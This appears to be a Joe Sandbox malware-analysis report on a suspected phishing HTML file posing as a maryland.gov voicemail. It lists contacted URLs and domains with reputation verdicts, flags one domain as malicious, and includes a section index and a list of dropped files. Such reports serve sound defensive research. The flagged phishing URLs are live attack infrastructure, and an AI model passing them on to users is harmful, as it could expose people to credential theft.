https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/TheSill-logo-49566be659c5aacb	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/hero3-tiny-large-d0b4112015c3	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/pos-2-large-50a3a20f09c7d1fef	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/entry.partials.client-36fcc8e2.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/theme_store/bundles/latest/vendors-caches_app_node_modules_bugsnag_js_browser_notifier_js-caches_app_node_modules_shopif-6e6b58-01b3017ef5852837876e2f172b4ddac3d9af4d2d9f7cc598e686c292eb60b76f.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/lwa9y4dngguzf418bh3dz2pd14x0.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/marketing3-small-6582aefc08f9	0%	Avira URL Cloud	safe
https://www.shopify.com/ph	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/oz1d21k6gxo9acj9tftowa7n2g1w.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/checkout-small-035ed87133bc86	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=njXl8MrXK1j2Gh%2BNe3C8n1n2WWSOI3ozay%2B7eQi5h8QBLs%2FIokIgA5AqhsdwCpC7az791sDK6WZx26baCddWiBN6aFDR%2FOZp0cLNYF%2FLKuviwPzzpoM2tlpjekNI%2FrYmww%3D%3D	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/InterfaceButton-D9PZw6KZ.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/pbm2ynav1qj22y7ym93conz1fr7f.jpg	0%	Avira URL Cloud	safe
https://www.shopify.com/nz	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/gbdm5g9xa4w820o1im1fdsuyhyby.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/hero2-large-9a67246f2c84608f8	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/carousel-2-mobile-small-b3fd6	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/carousel-2-mobile-small-b3fd61960ed47643ca39fc0fc54d435f77369ddadc3f163ec91fc5a806b33ace.png	0%	Avira URL Cloud	safe
https://ad.doubleclick.net/activity;src=9321158;type=shopi0;cat=shopi0;ord=603171799;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=878443441.1720762051;em=tv.1;ps=1;pcor=1184261187;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F?	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/Provider-Ddc6IPzg.js	0%	Avira URL Cloud	safe
https://href.li/?https://78tnC.seren1.com/78tnC/	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/29a20784f322b566e3f71ebb2bf9d6bb.svgz	0%	Avira URL Cloud	safe
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=1904241839800487&ev=PageView&dl=https%3A%2F%2Fwww.shopify.com%2F%23main&rl=&if=false&ts=1720762076474&sw=1280&sh=1024&v=2.9.161&r=stable&ec=0&o=4126&fbp=fb.1.1720762060676.754393549600852678&ler=empty&cdl=API_unavailable&cs_est=true&it=1720762074066&coo=false&dpo=LDU&dpoco=0&dpost=0&rqm=FGET	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/xsii90tzmsb2khtpdwb1f92saze3.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/6ba4ddb8ff7a023fc6b50baae7545327.svgz	0%	Avira URL Cloud	safe
https://stats.g.doubleclick.net/g/collect?v=2&dma=0&tid=G-W6NECZNE63&cid=dHp3Pc4vEJIImgrLmuh6Ts1xNI5xR%2FRiOOKTUv%2FjC%2BY%3D.1720762076&gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954&aip=1	0%	Avira URL Cloud	safe
https://cdn.bizible.com/ipv?_biz_r=https%3A%2F%2F78tnc.seren1.com%2F&_biz_h=-1777624096&_biz_u=7a871352b8524e2cfcff1c0401a33034&_biz_l=https%3A%2F%2Fwww.shopify.com%2F&_biz_t=1720762055279&_biz_i=Start%20and%20grow%20your%20e-commerce%20business%20-%203-Day%20Free%20Trial%20-%20Shopify%20USA&_biz_n=0&rnd=694918&cdn_o=a&_biz_z=1720762055281	0%	Avira URL Cloud	safe
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=1937622028;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=430300849;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	0%	Avira URL Cloud	safe
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=303926684;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1971040011;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/0u81it87w7hw9g5ln8ag2ssnwbc8.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/b/shopify-brochure2-assets/b19e0c0d8f45827afd3a9b73f8a145a0.svgz	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/xsfy68aqqs50f0ly1uw4m4hz8f8n.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/m7by63cvu74kmklrmfsdvij1nz3z.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/static/shopify-favicon.png	0%	Avira URL Cloud	safe
https://remix.run/route/meta	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/FullWidthCard-XBau1XyF.js	0%	Avira URL Cloud	safe
https://cdn.shopify.com/theme-store/vnrve0fpdbm3a4v6zl7mca57h4j4.jpg	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/management2-small-eeb33beed09	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/Card-CLbicgc-.js	0%	Avira URL Cloud	safe
https://devdegree.ca	0%	Avira URL Cloud	safe
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/products-large-65ee253c1e3e0e	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
newburymadison.com	69.49.245.172	true	false	5%, Virustotal, Browse	unknown
cdn-cf.vidyard.com	18.245.31.48	true	false	0%, Virustotal, Browse	unknown
adservice.google.com	142.250.181.226	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
stats.g.doubleclick.net	142.251.173.156	true	false	0%, Virustotal, Browse	unknown
scontent.xx.fbcdn.net	157.240.0.6	true	false	0%, Virustotal, Browse	unknown
cs6.wpc.omegacdn.net	93.184.221.26	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.66.137	true	false	1%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.186.164	true	false	0%, Virustotal, Browse	unknown
t2fhl.25bvnw8.ru	188.114.97.3	true	false		unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	0%, Virustotal, Browse	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	0%, Virustotal, Browse	unknown
78tnc.seren1.com	172.67.197.170	true	true		unknown
ad.doubleclick.net	142.250.185.198	true	false	0%, Virustotal, Browse	unknown
sessions.bugsnag.com	35.190.88.7	true	false	0%, Virustotal, Browse	unknown
www.shopify.com	185.146.173.20	true	false	0%, Virustotal, Browse	unknown
cdn.shopify.com	23.227.60.200	true	false	0%, Virustotal, Browse	unknown
href.li	192.0.78.26	true	false	1%, Virustotal, Browse	unknown
themes.shopify.com	185.146.173.20	true	false	0%, Virustotal, Browse	unknown
gtm.shopify.com	34.36.217.40	true	false	0%, Virustotal, Browse	unknown
analytics-alv.google.com	216.239.38.181	true	false	0%, Virustotal, Browse	unknown
googleads.g.doubleclick.net	142.250.184.194	true	false	0%, Virustotal, Browse	unknown
challenges.cloudflare.com	104.17.2.184	true	false	0%, Virustotal, Browse	unknown
fp2c5c.wac.kappacdn.net	152.195.15.58	true	false	0%, Virustotal, Browse	unknown
gw-monorail-production-gateway-1-apps-a-us-ea1-ci2.shopifycloud.com	34.111.94.218	true	false	0%, Virustotal, Browse	unknown
dzfq4ouujrxm8.cloudfront.net	13.33.187.58	true	false	0%, Virustotal, Browse	unknown
fast.wistia.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
monorail-edge.shopifysvc.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
cdn.bizibly.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
cdn.vidyard.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
cdn.bizible.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.facebook.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
connect.facebook.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
play.vidyard.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
assets.vidyard.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
analytics.google.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
tags.tiqcdn.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Name	Malicious	Antivirus Detection	Reputation
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=603171799;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1184261187;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/Next-SKkK-byL.js	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=872633583;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=378722122;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/qznioebed09uyp3zmct2ktcj9jpx.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/bbhopyza8pqm9l0qcqr939wvw2vq.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/ShopifyLogoClient-Ie8xynBb.js	false	Avira URL Cloud: safe	unknown
https://themes.shopify.com/?locale=en	false		unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/f5d0030128dfafb20b4b20353078a461.svgz	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/c99f9bb49ec7dec96678765339586edc.svgz	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/CookieNoticeBanner-R-zz7DIc.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/seo/website/builder/pillars-get-builder-small-7986cb046b635846e274ef1e19ce3cd2cca1b82c9e32cf4f997cd5c537789dd0.png	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/start/outcomes/icons/blog-03af7575d39ac059c19ea19185e9f793d1415783216b004b06daba0747038694.svg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/useCookieNoticeBanner-BPg5kY0x.js	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/tr/?id=1904241839800487&ev=PageView&dl=https%3A%2F%2Fwww.shopify.com%2F%23main&rl=&if=false&ts=1720762076474&sw=1280&sh=1024&v=2.9.161&r=stable&ec=0&o=4126&fbp=fb.1.1720762060676.754393549600852678&ler=empty&cdl=API_unavailable&cs_est=true&it=1720762074066&coo=false&dpo=LDU&dpoco=0&dpost=0&rqm=GET	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/d7c2832fee460b4e7b90d2620f0149e6.svgz	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/wji21qqio1uyr7stf5ir4ofza87k.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/d2s67hb3o1y5ufe7d0eja9zi563u.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/root-DEmynlZP.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/iks7npd4cll852vgvmha654dor6e.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/styles-Cb1-5A9Q.js	false	Avira URL Cloud: safe	unknown
https://monorail-edge.shopifysvc.com/v1/produce	false	Avira URL Cloud: safe	unknown
https://cdn.bizibly.com/u?_biz_u=7a871352b8524e2cfcff1c0401a33034&_biz_l=https%3A%2F%2Fwww.shopify.com%2F&_biz_t=1720762055284&_biz_i=Start%20and%20grow%20your%20e-commerce%20business%20-%203-Day%20Free%20Trial%20-%20Shopify%20USA&rnd=942783&cdn_o=a&_biz_z=1720762055284	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/preload-helper-BaGoQYBl.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/a5338c3f79a6e291b743e0149035a5fa.svgz	false	Avira URL Cloud: safe	unknown
https://ad.doubleclick.net/activity;src=9321158;type=shopi0;cat=shopi0;ord=1937622028;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=878443441.1720762051;em=tv.1;ps=1;pcor=430300849;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F?	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	Avira URL Cloud: safe	unknown
https://cdn.bizible.com/ipv?_biz_r=&_biz_h=-1777624096&_biz_u=7a871352b8524e2cfcff1c0401a33034&_biz_l=https%3A%2F%2Fwww.shopify.com%2F%23main&_biz_t=1720762073988&_biz_i=Start%20and%20grow%20your%20e-commerce%20business%20-%203-Day%20Free%20Trial%20-%20Shopify%20USA&_biz_n=1&rnd=110715&cdn_o=a&_biz_z=1720762073989	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/cd55dad309f3f66eb1b1fd5d6642e0f5.svgz	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/417301e08872b3bb26b3eb9f66a1be15.svgz	false	Avira URL Cloud: safe	unknown
https://www.google.com/pagead/1p-user-list/974897256/?random=1040576362&fst=1720760400000&cv=10&fmt=3&bg=ffffff&guid=ON&u_w=1280&u_h=1024&gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954&url=https%3A%2F%2Fwww.shopify.com%2Fwebsite%2Fbuilder&tiba=Website%20Builder%202024%20%7C%20Create%20a%20Website%20in%20Minutes&auid=878443441.1720762051&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&dma=0&npa=0&gcs=G1--&gcd=13l3l3l3l5&pscdl=noapi&is_vtc=1&cid=CAQSKQDaQooLl6To4ASQMl5jF-hfd7apnF08b53IBTJHnuJ0dYnWxv1tXcJ4&random=969691511	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/s/trekkie.themestore.min.js?v=2020.07.23.1	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/start/outcomes/icons/guide-63c4994012b258879aa7de622589ca49c6ceceb4bac2776db1e4b202b0ac2ec5.svg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/useScrollThresholds-DAXf-Tov.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/fjvm3ygc05ok4a0x0knknbgxg2ti.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/I18N-Ck5GeKaj.js	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=1128271134;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1324181095;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2Fwebsite%2Fbuilder	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/41hcduhdnuifpztf7lzafusvauyu.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/entry.client-eXWLrOVS.js	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=588751254;gtm=45j91e47b0h2v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1832009946;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/manifests/seo/website-builder-cb4a1ff8994c958f32ebf7fe2456a0c29ee4c42dda19919014687cfb1b9c543a.css	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/0gwrau94fkj01qdj97sze79cvy7c.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/entry.partials.client-36fcc8e2.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/theme_store/bundles/latest/vendors-caches_app_node_modules_bugsnag_js_browser_notifier_js-caches_app_node_modules_shopif-6e6b58-01b3017ef5852837876e2f172b4ddac3d9af4d2d9f7cc598e686c292eb60b76f.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/lwa9y4dngguzf418bh3dz2pd14x0.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/oz1d21k6gxo9acj9tftowa7n2g1w.jpg	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=njXl8MrXK1j2Gh%2BNe3C8n1n2WWSOI3ozay%2B7eQi5h8QBLs%2FIokIgA5AqhsdwCpC7az791sDK6WZx26baCddWiBN6aFDR%2FOZp0cLNYF%2FLKuviwPzzpoM2tlpjekNI%2FrYmww%3D%3D	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/InterfaceButton-D9PZw6KZ.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/pbm2ynav1qj22y7ym93conz1fr7f.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/gbdm5g9xa4w820o1im1fdsuyhyby.jpg	false	Avira URL Cloud: safe	unknown
https://play.vidyard.com/V67aTvh67CARSGvSWPizgw?disable_popouts=1&type=inline&v=4.3.15	false		unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/carousel-2-mobile-small-b3fd61960ed47643ca39fc0fc54d435f77369ddadc3f163ec91fc5a806b33ace.png	false	Avira URL Cloud: safe	unknown
https://ad.doubleclick.net/activity;src=9321158;type=shopi0;cat=shopi0;ord=603171799;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=878443441.1720762051;em=tv.1;ps=1;pcor=1184261187;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F?	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/Provider-Ddc6IPzg.js	false	Avira URL Cloud: safe	unknown
https://href.li/?https://78tnC.seren1.com/78tnC/	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/29a20784f322b566e3f71ebb2bf9d6bb.svgz	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/xsii90tzmsb2khtpdwb1f92saze3.jpg	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=1904241839800487&ev=PageView&dl=https%3A%2F%2Fwww.shopify.com%2F%23main&rl=&if=false&ts=1720762076474&sw=1280&sh=1024&v=2.9.161&r=stable&ec=0&o=4126&fbp=fb.1.1720762060676.754393549600852678&ler=empty&cdl=API_unavailable&cs_est=true&it=1720762074066&coo=false&dpo=LDU&dpoco=0&dpost=0&rqm=FGET	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/6ba4ddb8ff7a023fc6b50baae7545327.svgz	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/g/collect?v=2&dma=0&tid=G-W6NECZNE63&cid=dHp3Pc4vEJIImgrLmuh6Ts1xNI5xR%2FRiOOKTUv%2FjC%2BY%3D.1720762076&gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954&aip=1	false	Avira URL Cloud: safe	unknown
https://cdn.bizible.com/ipv?_biz_r=https%3A%2F%2F78tnc.seren1.com%2F&_biz_h=-1777624096&_biz_u=7a871352b8524e2cfcff1c0401a33034&_biz_l=https%3A%2F%2Fwww.shopify.com%2F&_biz_t=1720762055279&_biz_i=Start%20and%20grow%20your%20e-commerce%20business%20-%203-Day%20Free%20Trial%20-%20Shopify%20USA&_biz_n=0&rnd=694918&cdn_o=a&_biz_z=1720762055281	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=1937622028;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=430300849;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	false	Avira URL Cloud: safe	unknown
https://adservice.google.com/ddm/fls/z/src=9321158;type=shopi0;cat=shopi0;ord=303926684;gtm=45j91e47a0v877474166z89102563954z9862613069za200zb9102563954;dc_pre=1;u6=component_viewability;u7=main%7Chero;match_id=89764f98-2364-4d3d-859e-2d922480adfc;dma=0;npa=0;gcs=G1--;gcd=13l3l3l3l5;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;auiddc=;em=tv.;ps=1;pcor=1971040011;s3p=1;~oref=https%3A%2F%2Fwww.shopify.com%2F	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/0u81it87w7hw9g5ln8ag2ssnwbc8.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/b/shopify-brochure2-assets/b19e0c0d8f45827afd3a9b73f8a145a0.svgz	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/m7by63cvu74kmklrmfsdvij1nz3z.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/xsfy68aqqs50f0ly1uw4m4hz8f8n.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/static/shopify-favicon.png	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/FullWidthCard-XBau1XyF.js	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/theme-store/vnrve0fpdbm3a4v6zl7mca57h4j4.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/Card-CLbicgc-.js	false	Avira URL Cloud: safe	unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report V-Mail_maryland.gov.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\Filtering Rules

